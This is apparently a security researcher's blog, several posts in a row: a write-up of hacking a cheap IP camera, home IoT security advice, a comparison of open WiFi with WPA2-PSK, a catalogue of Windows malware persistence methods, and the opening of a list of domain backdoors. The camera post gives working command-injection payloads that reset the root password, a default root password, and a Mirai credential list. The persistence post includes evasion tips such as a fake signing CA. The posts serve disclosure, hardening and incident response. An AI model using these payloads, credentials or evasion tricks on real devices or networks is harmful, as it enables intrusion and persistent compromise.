How I hacked my IP camera, and found this backdoor account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course. 

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in 

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password. 

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising. 

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

• Investigate the script /system/system/bin/gmail_thread
• Investigate the cloud protocol * - see update 2016 10 27
• Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump. 

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this. 

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root     xc3511
root     vizxv
root     admin
admin    admin
root     888888
root     xmhdipc
root     default
root     juantech
root     123456
root     54321
support  support
root     (none)
admin    password
root     root
root     12345
user     user
admin    (none)
root     pass
admin    admin1234
root     1111
admin    smcadmin
admin    1111
root     666666
root     password
root     1234
root     klv123
Administrator admin
service  service
supervisor supervisor
guest    guest
guest    12345
guest    12345
admin1   password
administrator 1234
666666   666666
888888   888888
ubnt     ubnt
root     klv1234
root     Zte521
root     hi3518
root     jvbzd
root     anko
root     zlxx.
root     7ujMko0vizxv
root     7ujMko0admin
root     system
root     ikwb
root     dreambox
root     user
root     realtek
root     00000000
admin    1111111
admin    1234
admin    12345
admin    54321
admin    123456
admin    7ujMko0admin
admin    1234
admin    pass
admin    meinsm
tech     tech
mother   fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

How to secure your home against "Internet of Things" and FUD

TL;DR, most of the security news about IoT is full of FUD. Always put the risks in context - who can exploit this and what can the attacker do with it. Most story only covers the latter.

Introduction

There is rarely a day without news that another "Internet of Things" got hacked. "Smart" safes, "smart" rifles, "smart" cars, "smart" fridges, "smart" TVs, "smart" alarm systems, "smart" meters, "smart" bulbs, NAS devices, routers. These devices are getting hacked every day. Because most of these devices were never designed with security as a goal, and some of them have been never tested by security professionals, it is no surprise that these things are full of vulnerabilities.

Independent security researchers find these vulnerabilities, write a cool blog post or give a presentation about the vulnerability and the exploit, and the media forgets the constraints just for the sake of more clicks. "We are all doomed" we can read in the news, but sometimes the risks are buried deeply in technical jargon. Please note I blame the news sites here, not the researchers.

http://www.slideshare.net/danielmiessler/iot-attack-surfaces-defcon-2015

There are huge differences between the following risks:

• Attackers can directly communicate with the router (or camera) from the Internet without authentication and exploit the vulnerability. This is the worst-case scenario. For example, an automated ransomware attack against your NAS is pretty bad.
• Attackers have to position themselves in the same WAN network (e.g. Sprint mobile network in the case of Jeep hacking) to exploit the vulnerability. This is still pretty bad.
• The vulnerable code can not be triggered directly from the Internet, but tricks like CSRF can be used to exploit it (details later in this post). 
• The vulnerable code can not be triggered directly from the Internet, and it uses a protocol/port which prevents Cross Protocol Scripting. Attackers have to access the local network before exploiting this vulnerability.

As it is the case with the worst scenario, one can find a lot of devices connected to the internet. You can always find funny stuff at http://explorer.shodanhq.com/#/explore , or use the nmap screenshot script to find your own stuff :)

Network exposure

Most devices are behind an IPv4 NAT device (e.g. home router), thus can not be reached from the Internet side by default. Except when the device configures the firewall via UPNP. Or the device has a persistence cloud connection, and the cloud can send commands to the device. Or the device uses IPv6 tunneling (e.g. Teredo), thus it is reachable from the Internet. But not every vulnerability on your home network is accessible directly from the Internet. As more and more devices and networks will support IPv6, this scenario might change, but I hope most home routers will come with a default deny configuration in their IPv6 firewall module. On the other hand, scanning for IPv6 devices blindly is not feasible due to the large number of IPv6 addresses, but some tricks might work. 

If attackers can not access the device directly, there is a way to hack it through the user's browser. Just convince the victim user to visit a website, and via CSRF (Cross Site Request Forgery) and brute-forcing the device IP, it is possible to hack some devices (mostly through HTTP - if the exploit can fit into simple GET or POST commands.

If attackers can not attack the device vulnerability through the Internet directly, or via CSRF, but have connected to the same network - the network exposure shrinks significantly. And when attackers are on the same network as you, I bet you have bigger problems than the security of the IoT devices ...

Recommendations for home users

Don't buy **** you don't need

Disconnect from the power cord the IoT devices you don't need to operate 7*24. 

Disable cloud connectivity if it is not necessary. For example, I have a NAS device that can be reached through the "cloud", but I have disabled it by not configuring any default gateway for the device. I prefer connecting to my network via VPN and reach all my stuff through that.

Prevent CSRF attacks. I use two tricks. Don't use the 192.168.0.x - 192.168.10.x network at-home - use an uncommon IP range instead (e.g. 192.168.156.x is better). The second trick is I configured my Adblock plugin in my primary browser to block access to my internal network. And I use another browser whenever I want to access my internal devices. Update: On Firefox you can use NoScript ABE to block access to internal resources.

Check your router configuration:

• disable UPnP
• check the firewall settings and disable unnecessary port forwards
• check for IPv6 settings, and configure the firewall as default deny for incoming IPv6 TCP/UDP.

Change default passwords, especially for services connected to the Internet. Follow password best practices.

Run Nmap to locate new IoT in your home network :) 

Run a WiFi scan to locate new WiFi access points. Let me share a personal experience with you. I moved to a new house and brought my own WiFi router with me. I plugged it in, and forget about WiFi. Months later it turned out I had two other WiFi devices in my house - the cable modem had its own integrated WiFi with default passwords printed on the bottom, and the Set-top-box was the same - default WiFi passwords printed on the bottom. And don't forget to scan for ZigBee, Bluetooth, IrDA, FM, ...

Update your devices - in case you have a lot of free time in your hand.

Don't allow your guests to connect to your home network. Set up a separated AP for them. Imagine your nephew stealing your private photos or videos from your NAS or DNLA server.

With great power, comes great responsibility. The less device you own in your house, the less time you need to maintain those.

Read the manuals of your devices. Be aware of the different interfaces. Configure it in a secure way.

Disable Teredo protocol in case you don't need IPv6.

Stop being amazed by junk hacking.

Update: Disable WebRTC: https://www.browserleaks.com/webrtc , in Chrome you can use this extension: https://chrome.google.com/webstore/detail/webrtc-network-limiter/npeicpdbkakmehahjeeohfdhnlpdklia

Update: Prevent against DNS rebind attacks via configuring a DNS server which can block internal IP addresses. OpenDNS can block internal IP, but this is not a default option, you have to configure it.

Recommendations for vendors

For vendors, I recommend at least the followings:

• Implement security during Software Development LifeCycle
• Continuous security testing and bug bounties
• Seamless auto-update
• Opt-in cloud connectivity

Recommendations for journalists

Stop FUD. Pretty please.

The questions to ask before losing your head

• who can exploit the vulnerability?
• what prerequisites do we have about the attack to successfully exploit the vulnerability? Is the attacker already in your home network? If yes, you have probably bigger problems.
• what can the attacker do when the exploit is successful?

And last but not least, don't forget that in the case of IoT devices, sometimes users are the product, not the customer. IoT is about collecting data for marketing purposes.

http://blog.open-xchange.com/2015/02/09/iot/

Mythbusters: Is an open (unencrypted) WiFi more dangerous than a WPA2-PSK? Actually, it is not.

Introduction

Whenever security professionals recommend the 5 most important IT security practices to average users, one of the items is usually something like: “Avoid using open Wifi” or “Always use VPN while using open WiFi” or “Avoid sensitive websites (e.g. online banking) while using open WiFI”, etc.

What I think about this? It is bullshit. But let’s not jump to the conclusions. Let’s analyze all risks and factors here.

During the following analysis, I made two assumptions. The first one is that we are comparing public WiFi hotspots with no encryption at all (referred to as Open), and we compare this to public WiFi hotspots with WPA2-PSK (and just hope WEP died years before). The other assumption is there are people who are security-aware, and those who just don’t care. They just want to browse the web, access Facebook, write e-mails, etc.

The risks

Let’s discuss the different threats people face using public hotspots, compared to home/work internet usage:

1. Where the website session data is not protected with SSL/TLS (and the cookie is not protected with secure flag), attackers on the same hotspot can obtain the session data and use it in session/login credentials stealing. Typical protocols affected:

• HTTP sites
• HTTPS sites but unsecured cookie
• FTP without encryption
• IMAP/SMTP/POP3 without SSL/TLS or STARTTLS

2. Attackers can inject extra data into the HTTP traffic, which can be used for exploits, or social engineer attacks (e.g. update Flash player with our malware) – see the Dark Hotel campaign

3. Attackers can use tools like SSLStrip to keep the user’s traffic on clear text HTTP and steal password/session data/personal information

4. Attackers can monitor and track user activity

5. Attackers can directly attack the user’s machine (e.g. SMB service)

WPA2-PSK security

So, why is a public WPA2-PSK WiFi safer than an open WiFi? Spoiler alert: it is not!

In a generic public WPA2-PSK scenario, all users share the same password. And guess what, the whole traffic can be decrypted with the following information: SSID + shared password + information from the 4-way handshake. https://wiki.wireshark.org/HowToDecrypt802.11

If you want to see it in action, here is a nice tutorial for you

http://www.lovemytool.com/blog/2010/05/wireshark-and-tshark-decrypt-sample-capture-file-by-joke-snelders.html

Decrypted WPA2-PSK traffic

Any user having access to the same WPA2-PSK network knows this information. So they can instantly decrypt your traffic. Or the attackers can just set up an access point with the same SSID, same password, and stronger signal. And now, the attacker can instantly launch active man-in-the-middle attacks. It is a common belief (even among ITSEC experts) that WPA2-PSK is not vulnerable to this attack. I am not sure why this vulnerability was left in the protocol, if you have the answer, let me know. Edit (2015-08-03): I think the key message here is that without server authentication (e.g. via PKI), it is not possible to solve this.

Let me link here one of my previous posts here with a great skiddie tool:

http://jumpespjump.blogspot.nl/2014/04/dsploit.html

To sum up, attackers on a WPA2-PSK network can:

• Decrypt all HTTP/FTP/IMAP/SMTP/POP3 passwords or other sensitive information
• Can launch active attacks like SSLStrip, or modify HTTP traffic to include exploit/social engineer attacks
• Can monitor/track user activity

The only difference between open and WPA2-PSK networks is that an open network can be hacked with an attacker of the skill level of 1 from 10, while the WPA2-PSK network needs and an attacker with a skill level of 1.5. That is the difference.

The real solutions

1. Website owners, service providers should deploy proper (trusted) SSL/TLS infrastructure, protect session cookies, etc. Whenever a user (or security professional) notices a problem with the quality of the service (e.g. missing SSL/TLS), the service provider has to be notified. If no change is made, it is recommended to drop the service provider and choose a more secure one. Users have to use HTTPS Everywhere plugin.

2. Protect the device against exploits by patching the software on it, use a secure browser (Chrome, IE11 + enhanced protection), disable unnecessary plugins (Java, Flash, Silverlight), or at least use it via click-to-play. Also, the use of exploit mitigations tools (EMET, HitmanPro Alert, Malwarebytes AntiExploit) and a good internet security suite is a good idea.

3. Website owners have to deploy HSTS, and optionally include their site in an HSTS preload list

4. Don’t click blindly on fake downloads (like fake Flash Player updates)

5. The benefits of a VPN is usually overestimated. A VPN provider is just another provider, like the hotspot provider, or the ISP. They can do the same malicious stuff (traffic injecting, traffic monitoring, user tracking). Especially when people use free VPNs. And “Average Joe” will choose a free VPN. Also, VPN connections tend to be disconnected, and almost none of the VPN providers provide fail secure VPNs. Also, for the price of a good VPN service you can buy a good data plan and use 4G/3G instead of low-quality public hotspots. But besides this, on mobile OSes (Android, iOS, etc.) I strongly recommend the use of VPN, because it is not practically feasible to know for users which app is using SSL/TLS and which is not.

6. Use a location-aware firewall, and whenever the network is not trusted, set it to a Public.

7. In a small-business/home environment, buy a WiFi router with guest WiFi access possibility, where the different passwords can be set to guest networks than used for the other.

Asking the question “Are you using open WiFi?”, or “Do you do online banking on open WiFi?” are the wrong questions. The good questions are:

• Do you trust the operator(s) of the network you are using?
• Are the clients separated?
• If clients are not separated, is it possible that there are people with malicious intent on the network?
• Are you security-aware, and are you following the rules previously mentioned? If you do follow these rules, those will protect you on whatever network you are.

And call me an idiot, but I do online banking, e-shopping, and all the other sensitive stuff while I’m using open WiFi. And whenever I order pizza from an HTTP website, attackers can learn my address. Which is already in the phone book, on Facebook, and in every photo metadata I took with my smartphone about my cat and uploaded to the Internet (http://iknowwhereyourcatlives.com/).

Most articles and research publications are full of FUD about what people can learn from others. Maybe they are just outdated, maybe they are not. But it is totally safe to use Gmail on an open WiFi, no one will be able to read my e-mails.

PS: I know “Average Joe” won’t find my blog post, won’t start to read it, won’t understand half I wrote. But even if they do, they won’t patch their browser plugins, pay for a VPN, or check the session cookie. So they are doomed to fail. That’s life. Deal with it.

Many ways of malware persistence (that you were always afraid to ask)

TL;DR: Are you into red teaming? Need persistence? This post is not that long, read it ;)

Are you into blue teaming? Have to find those pesky backdoors? This post is not that long, read it ;)

In the previous post, I listed different ways how a Windows domain/forest can be backdoored. In this new post, I am digging a bit deeper, and list the most common/known ways malware can survive a reboot, just using local resources of the infected Windows system. The list is far from complete, and I would like to encourage everyone to comment on new methods, not yet listed here.

From an incident response point of view, one of the best strategies to find malware on a suspicious system is to search for suspicious entries that start with the system. In the good old days, you had to check for 2-3 locations to cover 99% of the infections. Nowadays, there are a thousand ways malware can start. The common ones automatically start whenever Windows starts (or the user logs in), but some tricky ones are triggered by other events.

Autoruns

My favorite choice when it comes to malware persistence is Sysinternals tools, Autoruns. In this paragraph, I mainly quote the official built-in help, but bear with me, it is still interesting.

On a side note, there are some problems with the Autoruns tool: it can only run on a live system. (EDIT: This is not true, Autoruns can analyze offline systems as well! Thanks to a comment from Justin.) And usually, this is not the case - I usually have dd images. And although VBoxManage can convert the dd images to VirtualBox disk image format, usually I don't have the time and storage to do that. This is where xmount awesomeness is here to rescue the day. It can convert dd and Encase images on-the-fly in-memory to Virtualbox format. Just attach the disk image to a new Virtualbox machine as the main boot HDD, modify the CPU/disk/controller settings until Windows starts instead of crashing, and voila, you can boot your forensic image - without modifying a single bit on the original evidence dd file. Another problem with malware analysis on a live system is that a good rootkit can fool the analyst easily. 

For quick wins, I usually filter out Microsoft entries, look for per-user locations only and check for unverified (missing or invalid Authenticode) executables. This usually helps to find 90% of malware easily. Especially if it has a color like purple or pink, it is highly suspicious. To find the rest, well, one has to dig deeper.

Zeus "hiding" in the usual random directory - check the faked timestamp

To implement "poor-mans monitoring", regularly save the output of Autoruns, and during incident response, it will be highly valuable. Howto guide here.

Logon

"This entry results in scans of standard autostart locations such as the Startup folder for the current user and all users, the Run Registry keys, and standard application launch locations." 

There are 42 registry keys/folders at the moment in Autoruns, which can be used to autostart a malware. The most common ways are the HKCU\Software\Microsoft\Windows\CurrentVersion\Run and the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup folder.

One of my favorite regarding this topic is the file-less Poweliks malware, 100% pure awesomeness. Typical ring 3 code execution.

Explorer

"Select this entry to see Explorer shell extensions, browser helper objects, explorer toolbars, active setup executions, and shell execute hooks". 71 registry keys, OMG. Usually, this is not about auto-malware execution, but some of them might be a good place to hide malware.

Internet explorer

"This entry shows Browser Helper Objects (BHO's), Internet Explorer toolbars and extensions". 13 registry key here. If a malicious BHO is installed into your browser, you are pretty much screwed.

Scheduled tasks

"Task scheduler tasks configured to start at boot or logon." Not commonly used, but it is important to look at this.

I always thought this part of the autostart entries is quite boring, but nowadays, I think it is one of the best ways to hide your malware. There are so many entries here by default, and some of them can use quite good tricks to trigger the start.

Did you know that you can create custom events that trigger on Windows event logs?

Did you know you can create malware persistence just by using Windows tools like bitsadmin and Scheduled tasks?

Scheduler in the old days

Scheduler in the new days

Services

HKLM\System\CurrentControlSet\Services is a very commonplace to hide malware, especially rootkits. Check all entries with special care.

Drivers

Same as services. Very commonplace for rootkits. Unfortunately, signing a driver for 64-bit systems is not fun anymore, as it has to be signed by certificates that can be chained back to "Software Publisher Certificates". Typical startup place for Ring 0 rootkits. 

Starting from Windows 10, even this will change and all drivers have to be signed by "Windows Hardware Developer Center Dashboard portal" and EV certificates.

Codecs

22 registry keys. Not very common, but possible code execution.

Boot execute

"Native images (as opposed to Windows images) that run early during the boot process."

5 registry keys here. Good place to hide a rootkit here.

Image hijacks

"Image file execution options and command prompt autostarts." 13 registry key here. I believe this was supposed for debugging purposes originally.

This is where the good-old sticky keys trick is hiding. It is a bit different from the others, as it provides a backdoor access, but you can only use this from the local network (usually). The trick is to execute your code whenever someone presses the SHIFT key multiple times before logging into RDP. The old way was to replace the sethc.exe, the new fun is to set a debug program on sethc.

If you see this, you are in trouble

AppInit

"This has Autoruns shows DLLs registered as application initialization DLLs." Only 3 registry keys here. This is the good old way to inject a malicious DLL into Explorer, browsers, etc. Luckily it is going to be deprecated soon.

Known DLLs

"This reports the location of DLLs that Windows loads into applications that reference them." Only 1 registry key. This might be used to hijack some system DLLs.

Winlogon

"Shows DLLs that register for Winlogon notification of logon events." 7 registry keys. Sometimes used by malware.

Winsock providers

"Shows registered Winsock protocols, including Winsock service providers. Malware often installs itself as a Winsock service provider because there are few tools that can remove them. Autoruns can disable them, but cannot delete them." 4 registry keys. AFAIK this was trendy a while ago. But still, a good place to hide malware.

Print monitors

"Displays DLLs that load into the print spooling service. Malware has used this support to autostart itself." 1 registry key. Some malware writers are quite creative when it comes to hiding their persistence module.

LSA providers

"Shows registers Local Security Authority (LSA) authentication, notification and security packages." 5 registry keys. A good place to hide your password stealer.

Network providers

"Missing documentation". If you have a good 1 sentence documentation, please comment.

WMI filters

"Missing documentation". Check Mandiant for details.

Sidebar gadgets

Thank god MS disabled this a while ago :)

We all miss you, you crappy resource gobble nightmares

Common ways - not in autoruns

Now, let's see other possibilities to start your malware, which won't be listed in Sysinternals Autoruns.

Backdoor an executable/DLL

Just change the code of an executable which is either auto-starting or commonly started by the user. To avoid lame mistakes, disable the update of the file ... The backdoor factory is a good source for this task. But if you backdoor an executable/DLL which is already in Autoruns listed, you will break the Digital Signature on the file. It is recommended to sign your executable, and if you can't afford to steal a trusted certificate, you can still import your own CA into the user's trusted certificate store (with user privileges), and it will look like a trusted one. Protip: Use "Microsoft Windows" as the codesigner CA, and your executable will blend in.

See, rootkit.exe totally looks legit, and it is filtered out when someone filters for "Hide Windows entries".

Hijack DLL load order

Just place your DLL into a directory which is searched before the original DLL is found, and PROFIT! But again, to avoid lame detection, be sure to proxy the legitimate function calls to the original DLL. A good source on this topic from Mandiant and DLL hijack detector.

Here you can see how PlugX works in action, by dropping a legitimate Kaspersky executable, and hijacking the DLL calls with their DLL. 

Hijack a shortcut from the desktop/start menu

Never underestimate the power of lame tricks. Just create an executable which calls the original executable, and meanwhile starts your backdoor. Replace the link, PROFIT! And don't be a skiddie, check the icon ;) I have seen this trick in adware hijacking browsers a lot of times.

IE hijacked to start with http://tinyurl.com/2fcpre6

File association hijack

Choose the user's favorite file type, replace the program which handles the opening with a similar one described in the previous section, and voila!

COM object hijack

The main idea is that some COM objects are scanned for whether they are on the system or not, and when it is registered, it is automatically loaded. See COMpfun for details.

Windows Application Compatibility - SHIM

Not many people are familiar with Windows Application Compatibility and how it works. Think about it as an added layer between applications and the OS. If the application matches a certain condition (e.g. filename), certain actions will take place. E.g. emulation of directories, registry entries, DLL injection, etc. In my installation, there are 367 different compatibility fixes (type of compatibility "simulation"), and some of those can be customized.

Every time IE starts, inject a DLL into IE

Bootkits 

Although bootkits shown here can end up in Autoruns in the drivers section (as they might need a driver at the end of the day), I still think it deserves a different section.

MBR - Master boot record

Malware can overwrite the Master boot record, start the boot process with its own code, and continue the boot process with the original one. It is common for rootkits to fake the content of the MBR record, and show the original contents. Which means one just have attached the infected HDD to a clean system, and compare the first 512 bytes (or more in some cases) with a known, clean state, or compare it to the contents shown from the infected OS. SecureBoot can be used to prevent malware infections like this.

There is a slight difference when MBR is viewed from infected OS vs clean OS

VBR - Volume boot record

This is the next logical step where malware can start it's process, and some malware/rootkit prefers to hide it's startup code here. Check GrayFish for details. SecureBoot can be used to prevent malware infections like this.

BIOS/UEFI malware

Both the old BIOS and the new UEFI can be modified in a way that malware starts even before the OS had a chance to run. Although UEFI was meant to be more secure than BIOS, implementation and design errors happens. Check the Computrace anti-theft rootkit for details.

Hypervisor - Ring -1 rootkit

This is somewhat special, because I believe although rootkit can run in this layer but it can't persist only in this layer on an average, physical machine, because it won't survive a reboot See Rutkowska's presentation from 2006 But because the hypervisor can intercept the restart event, it can write itself into one of the other layers (e.g. install a common kernel driver), and simply delete it after it is fully functional after reboot. Update: There is a good paper from Igor Korkin about hypervisor detection here.

SMM (System Management Mode) malware - Ring -2 rootkit

Somehow related to the previous type of attacks, but not many people know that System Management Mode can be used to inject code into the OS. Check the DEITYBOUNCE malware for more details ;) Also, abusing Intel Dual Monitor Mode (DMM) can lead to untrusted code execution, which basically monitors the SMM mode.

Intel® Active Management Technology - Ring -3 rootkit

According to Wikipedia, "Intel Active Management Technology (AMT) is hardware and firmware technology for remote out-of-band management of personal computers, in order to monitor, maintain, update, upgrade, and repair them". You can ask, what could possibly go wrong? See Alexander Tereshkin's and Rafal Wojtczuk's great research on this, or Vassilios Ververis thesis about AMT. 

As not many people click on links, let me quote the scary stuff about AMT:

• Independent of the main CPU
• Can access host memory via DMA (with restrictions)
• Dedicated link to NIC, and its filtering capabilities
• Can force host OS to reboot at any time (and boot the system from the emulated CDROM)
• Active even in S3 sleep!

Other stuff

Create new user, update existing user, hidden admins

Sometimes one does not even have to add malicious code to the system, as valid user credentials are more than enough. Either existing users can be used for this purpose, or new ones can be created. E.g. a good trick is to use the Support account with a 500 RID - see here, Metasploit tool here.

Esoteric firmware malware

Almost any component in the computer runs with firmware, and by replacing the firmware with a malicious one, it is possible to start the malware. E.g. HDD firmware (see GrayFish again), graphic card, etc.

Hidden boot device

Malware can hide in one of the boot devices which are checked before the average OS is loaded, and after the malware is loaded, it can load the victim OS.

Network-level backdoor

Think about the following scenario: every time the OS boots, it loads additional data from the network. It can check for new software updates, configuration updates, etc. Whenever a vulnerable software/configuration update, the malware injects itself into the response, and get's executed. I know, this level of persistence is not foolproof, but still, possible. Think about the recently discovered GPO MiTM attack, the Evilgrade tool, or even the Xensploit tool when we are talking about VM migration.

Software vulnerability

Almost any kind of software vulnerability can be used as a persistent backdoor. Especially, if the vulnerability can be accessed remotely via the network, without any user interaction. Good old MS08-067...

Hardware malware, built into the chipset

I am not sure what to write here. Ask your local spy agency for further information. Good luck finding those!

More links

Tools I highly recommend:

• Sysinternals Autoruns
• GMER
• DLL hijack detector
• PCHunter
• Mandiant Redline
• Volatility
• Kansa

For more information, check this blog post, part 1, part 2

Update 2017-04-29: A very nice list of Office persistence: https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/

Update 2017-10-23: Persistence via Security Descriptors and ACLs: https://www.youtube.com/watch?v=SeR4QJbaNRg

Update 2018-07-25: Backdooring LAPS https://rastamouse.me/2018/03/laps---part-1/
https://rastamouse.me/2018/03/laps---part-2/ 

I would like to thank to Gabor Pek from CrySyS Lab for reviewing and completing this post.

Thousand ways to backdoor a Windows domain (forest)

When the Kerberos elevation of privilege (CVE-2014-6324 / MS14-068) vulnerability has been made public, the remediation paragraph of the following blog post made some waves:
http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

"The only way a domain compromise can be remediated with a high level of certainty is a complete rebuild of the domain."

Personally, I agree with this, but .... But whether this is the real solution, I'm not sure. And the same applies to compromised computers. When it has been identified that malware was able to run on the computer (e.g. scheduled scan found the malware), there is no easy way to determine with 100% certainty that there is no rootkit on the computer. Thus rebuilding the computer might be a good thing to consider. For paranoids, use new hardware ;)

But rebuilding a single workstation and rebuilding a whole domain is not on the same complexity level. Rebuilding a domain can take weeks or months (or years, which will never happen, as the business will close before that).

There are countless documented methods to backdoor a computer, but I have never seen a post where someone collects all the methods to backdoor a domain. In the following, I will refer to domain admin, but in reality, I mean Domain Admins, Enterprise Admins, and Schema Admins.

Ways to backdoor a domain

So here you go, an incomplete list to backdoor a domain:

• Create a new domain admin user. Easy to do, easy to detect, easy to remediate
• Dump password hashes. The attacker can either crack those or just pass-the-hash. Since KB2871997, pass-the-hash might be trickier (https://technet.microsoft.com/library/security/2871997), but not impossible. Easy to do, hard to detect, hard to remediate - just think about service user passwords. And during remediation, consider all passwords compromised, even strong ones.
